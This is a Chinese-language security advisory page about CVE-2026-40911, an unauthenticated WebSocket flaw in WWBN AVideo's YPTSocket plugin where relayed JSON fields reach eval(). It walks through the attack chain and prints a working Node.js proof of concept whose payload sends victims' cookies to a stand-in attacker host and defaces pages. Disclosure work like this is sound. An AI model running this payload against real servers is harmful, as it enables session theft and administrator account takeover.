IPBUF安全漏洞报告
English
CVE-2026-40911 CVSS 10.0 严重

CVE-2026-40911 AVideo WebSocket远程代码执行漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40911
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

XSSWebSocketAVideo远程代码执行未授权访问

漏洞概述

WWBN AVideo是一款开源视频平台。在29.0及更早版本中,YPTSocket插件的WebSocket服务器存在严重安全缺陷。该服务器在处理消息时,未对攻击者提供的JSON消息体中的`msg`或`callback`字段进行清理,便将其中继给所有连接的客户端。客户端的`script.js`文件直接使用`eval()`函数处理这些字段。由于匿名访客令牌仅通过解密验证而缺乏后续校验,未经身份验证的攻击者可利用此漏洞向所有当前连接用户(包括管理员)广播任意JavaScript代码,从而导致账户接管、会话窃取及权限提升。

技术细节

该漏洞的核心在于YPTSocket插件对WebSocket消息处理的不当及客户端不安全的`eval()`使用。攻击者首先作为匿名用户连接至WebSocket服务器。由于令牌验证机制存在缺陷(仅解密不重验),攻击者可以绕过身份认证。随后,攻击者构造特制的JSON数据,在`callback`字段(对应`script.js`第95行)或`msg.autoEvalCodeOnHTML`字段(对应`script.js`第568行)中注入恶意JavaScript代码。服务器接收后,由于缺乏服务端过滤,直接将这些恶意数据广播给所有在线客户端。当受害者的浏览器接收到消息并调用`script.js`处理时,`eval()`函数会解析并执行恶意代码。这使得攻击者能够以受害者身份执行操作,针对管理员可导致完全的系统沦陷。

攻击链分析

STEP 1
步骤1:侦察与连接
攻击者识别目标运行WWBN AVideo 29.0或更低版本,并作为匿名用户连接到YPTSocket插件的WebSocket端点。
STEP 2
步骤2:绕过认证
由于系统仅通过解密验证匿名令牌而不进行严格的重验证,攻击者成功建立连接并获得发送消息的权限。
STEP 3
步骤3:构造恶意载荷
攻击者构造JSON对象,在`callback`或`msg.autoEvalCodeOnHTML`字段中注入恶意JavaScript代码,旨在窃取Cookie或执行敏感操作。
STEP 4
步骤4:消息广播
攻击者通过WebSocket发送恶意JSON。服务器未对字段进行清理,将其作为合法消息广播给所有当前连接的客户端。
STEP 5
步骤5:客户端代码执行
客户端(包括管理员)接收到消息,`script.js`中的`eval()`函数解析并执行攻击者的恶意代码。
STEP 6
步骤6:接管账户
恶意代码在管理员浏览器中执行,窃取Session ID或直接执行特权操作,导致完全的账户接管。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-40911 // Requires: npm install ws const WebSocket = require('ws'); // Replace with the target WebSocket URL const targetUrl = 'ws://<TARGET_IP>/plugin/YPTSocket/server.php'; console.log(`Connecting to ${targetUrl}...`); const ws = new WebSocket(targetUrl); ws.on('open', function open() { console.log('Connected! Sending malicious payload...'); // Payload structure based on vulnerable sinks in script.js // Sink 1: json.callback (line 95) // Sink 2: json.msg.autoEvalCodeOnHTML (line 568) const maliciousPayload = { "callback": "alert('CVE-2026-40911 XSS Executed'); document.location='http://attacker.com/steal?c='+document.cookie;", "msg": { "autoEvalCodeOnHTML": "document.body.innerHTML='<h1>Hacked by CVE-2026-40911</h1>';" } }; // Send the crafted JSON ws.send(JSON.stringify(maliciousPayload)); console.log('Payload sent. Check connected clients.'); }); ws.on('error', function error(err) { console.error('WebSocket Error:', err); });

影响范围

WWBN AVideo <= 29.0

防御指南

临时缓解措施
建议立即检查系统版本,若无法升级,请禁用YPTSocket插件以防止漏洞被利用。同时,应审计现有日志以排查是否有异常的WebSocket连接或恶意代码执行痕迹。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表